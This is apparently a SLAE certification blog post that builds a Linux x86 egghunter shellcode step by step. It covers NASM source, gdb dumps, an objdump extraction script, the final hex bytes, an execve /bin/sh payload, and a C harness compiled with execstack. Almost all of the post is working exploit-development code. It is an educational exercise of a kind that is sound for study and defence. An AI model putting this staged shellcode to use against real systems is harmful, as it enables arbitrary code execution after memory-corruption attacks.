linux x86 egghunter shellcode

Egghunter is a stage one piece of code that searches memory for predefined tag that represents start of second stage of shellcode and passes execution to it.
To create a simple one we create a c program that pass execution to stage one egghunter that searches for egg in memory and then pass execution to found code executing stage two.

#include <stdio.h>
#include <string.h>

#define EGG "\x90\x50\x90\x50"

unsigned char egghunt[] = \
// egghunter shellcode here

unsigned char shellcode[] = \
EGG
"\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


int main ()
{

        printf("Egghunter length: %d\n", strlen(egghunt));
        printf("Shellcode length: %d\n", strlen(shellcode));
        int(*ret)() = (int(*)())egghunt;
        ret();
}

As egg we select assembly opcodes to pass execution directly to egg and not calculate shellcode address. As shellcode we use execve /bin/sh shellcode.
The simplest example of egghunter will be

global _start

section .text

_start:

        mov edx, 0x50905090      ;move egg to edx
rotate:
        inc eax                  ; inc memory address				
        cmp dword [eax], edx     ; compare memory contents to egg
        jne rotate               ; loop if not equal

        jmp eax	                 ; pass execution to stage two

This stage one code is only 12 bytes but will it work in every situation? The trick here is when C wrapper passes execution to stage one eax contains stage one first instruction memory address. This memory can be dereferenced and all following too. In this case shellcode runs smoothly and finds the egg and pass execution.

   0x0804845a <+63>:	add    esp,0x10
   0x0804845d <+66>:	sub    esp,0x8
   0x08048460 <+69>:	push   eax
   0x08048461 <+70>:	push   0x8048526
   0x08048466 <+75>:	call   0x80482e0 <printf@plt>
   0x0804846b <+80>:	add    esp,0x10
   0x0804846e <+83>:	mov    DWORD PTR [ebp-0xc],0x8049780
   0x08048475 <+90>:	mov    eax,DWORD PTR [ebp-0xc]
=> 0x08048478 <+93>:	call   eax
   0x0804847a <+95>:	mov    eax,0x0
   0x0804847f <+100>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048482 <+103>:	leave  
   0x08048483 <+104>:	lea    esp,[ecx-0x4]
   0x08048486 <+107>:	ret    
End of assembler dump.
(gdb) display/x $eax
1: /x $eax = 0x8049780
(gdb) stepi
0x08049780 in egghunt ()
(gdb) disassemble
Dump of assembler code for function egghunt:
=> 0x08049780 <+0>:	mov    edx,0x50905090
   0x08049785 <+5>:	inc    eax
   0x08049786 <+6>:	cmp    DWORD PTR [eax],edx
   0x08049788 <+8>:	jne    0x8049785 <egghunt+5>
   0x0804978a <+10>:	jmp    eax
   0x0804978c <+12>:	add    BYTE PTR [eax],al
End of assembler dump.
(gdb) display/x $eax
1: /x $eax = 0x8049780

(gdb) disassemble $eax, +50
Dump of assembler code from 0x8049780 to 0x80497b2:
=> 0x08049780 <egghunt+0>:	mov    edx,0x50905090
   0x08049785 <egghunt+5>:	inc    eax
   0x08049786 <egghunt+6>:	cmp    DWORD PTR [eax],edx
   0x08049788 <egghunt+8>:	jne    0x8049785 <egghunt+5>
   0x0804978a <egghunt+10>:	jmp    eax
   0x0804978c <egghunt+12>:	add    BYTE PTR [eax],al
   0x0804978e:	add    BYTE PTR [eax],al
   0x08049790:	add    BYTE PTR [eax],al
   0x08049792:	add    BYTE PTR [eax],al
   0x08049794:	add    BYTE PTR [eax],al
   0x08049796:	add    BYTE PTR [eax],al
   0x08049798:	add    BYTE PTR [eax],al
   0x0804979a:	add    BYTE PTR [eax],al
   0x0804979c:	add    BYTE PTR [eax],al
   0x0804979e:	add    BYTE PTR [eax],al
   0x080497a0 <shellcode+0>:	nop
   0x080497a1 <shellcode+1>:	push   eax
   0x080497a2 <shellcode+2>:	nop
   0x080497a3 <shellcode+3>:	push   eax
   0x080497a4 <shellcode+4>:	nop
   0x080497a5 <shellcode+5>:	push   eax
   0x080497a6 <shellcode+6>:	nop
   0x080497a7 <shellcode+7>:	push   eax
   0x080497a8 <shellcode+8>:	xor    eax,eax
   0x080497aa <shellcode+10>:	push   eax
   0x080497ab <shellcode+11>:	mov    edx,esp
   0x080497ad <shellcode+13>:	push   0x68732f2f

But what if eax will contain invalid memory. If we initialize eax with xor eax, eax after the loop in shellcode, we receive segmentation fault error.
To solve this issue, we can use linux syscall to make system validate memory for us and receive EFAULT error in case of invalid memory. This technique is described in “Safely Searching Process Virtual Address Space” article.
To validate memory author uses access(2) syscall.

int access(const char *pathname, int mode);

It’s designed to check user permissions on file, and is chosen because it needs a pointer for just one argument and don’t attempt to write for supplied pointer. In case of invalid memory, we receive EFAULT or 0xfffffff2 in eax. As this is a system call we need to move 0x21 (dec 33) to eax as defined in unistd32.h for NR_access

#define __NR_access 33

We need to store first parameter in ebx. In our case it will be an address to validate. Let’s create first access(2) shellcode version.

global _start

section .text

_start:

        mov ebx, 0x50905090
        xor ecx, ecx
        mul ecx
repeat:
        inc edx
        pusha
        lea ebx, [edx]
        mov al, 0x21
        int 0x80
        cmp al, 0xf2
        popa
        jz repeat
        cmp [edx], ebx
        jnz repeat
        cmp [edx+0x4], ebx
        jnz repeat
        jmp edx

This shellcode is 33 bytes versus 12 bytes compared to the first one, and it scans whole memory with no errors. The only problem it’s very slow, scanning every address incrementing by one took 2 minutes 47 seconds. Also as we start at very beginning of process address space we need to mark our stage two shellcode with 2 repeating eggs and check that first one is followed by second, because otherwise we can find our first occurrence of 0x50905090 and pass execution there.
To reduce execution time as author describes, due to the fact that the smallest granular unit of memory on IA32 is PAGE_SIZE, we can assume that if one address in page is invalid all others are invalid too. And if we receive invalid address we adjust address to next page. We get PAGE_SIZE

/bin/sh$ getconf PAGESIZE
4096

It is 0x1000 in hex. We can use or 0xfff to find the last page address, and then it will be incremented by one and point to first address of next page. Also we made some optimizations changing pusha; popa; mov al, 0x21; to push byte 0x21 and pop eax. This shellcode size is 37 but it takes half a second to find necessary address.

global _start

section .text

_start:

        xor ecx, ecx
        mul ecx
npage:
        or dx, 0xfff
repeat:
        inc edx
        lea ebx, [edx]
        push byte 0x21
        pop eax
        int 0x80
        cmp al, 0xf2
        jz npage
        mov ebx, 0x50905090
        cmp [edx], ebx
        jnz repeat
        cmp [edx+0x4], ebx
        jnz repeat
        jmp edx
$ nasm -f elf32 -o egghunt.o egghunt.nasm
$ ld -N $1.o -o $1

Using getcode.sh script:

# This script gets shellcode from binary using objdump 
# http://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

#!/bin/bash


if [ $# -eq 1 ]; then
      objdump -d ./$1|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-7 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ‘‘ -s |sed ‘s/^/"/’|sed ‘s/$/"/g’|sed ‘s/$/;/’
else
      echo "please input program name"
fi

we get shellcode:

"\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x1a\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xef\xbb\x90\x50\x90\x50\x39\x1a\x75\xeb\x39\x5a\x04\x75\xe6\xff\xe2";
#include <stdio.h>
#include <string.h>

#define EGG "\x90\x50\x90\x50"

unsigned char egghunt[] = \
"\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x1a\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xef\xbb\x90\x50\x90\x50\x39\x1a\x75\xeb\x39\x5a\x04\x75\xe6\xff\xe2";

unsigned char shellcode[] = \
EGG
EGG
"\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main ()
{
        printf("Egghunter length: %d\n", strlen(egghunt));
        printf("Shellcode length: %d\n", strlen(shellcode));
        int(*ret)() = (int(*)())egghunt;
        ret();
}
$ gcc -fno-stack-protector -z execstack rev.c -o revc

and execute.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1063

Add a Comment

Your email address will not be published. Required fields are marked *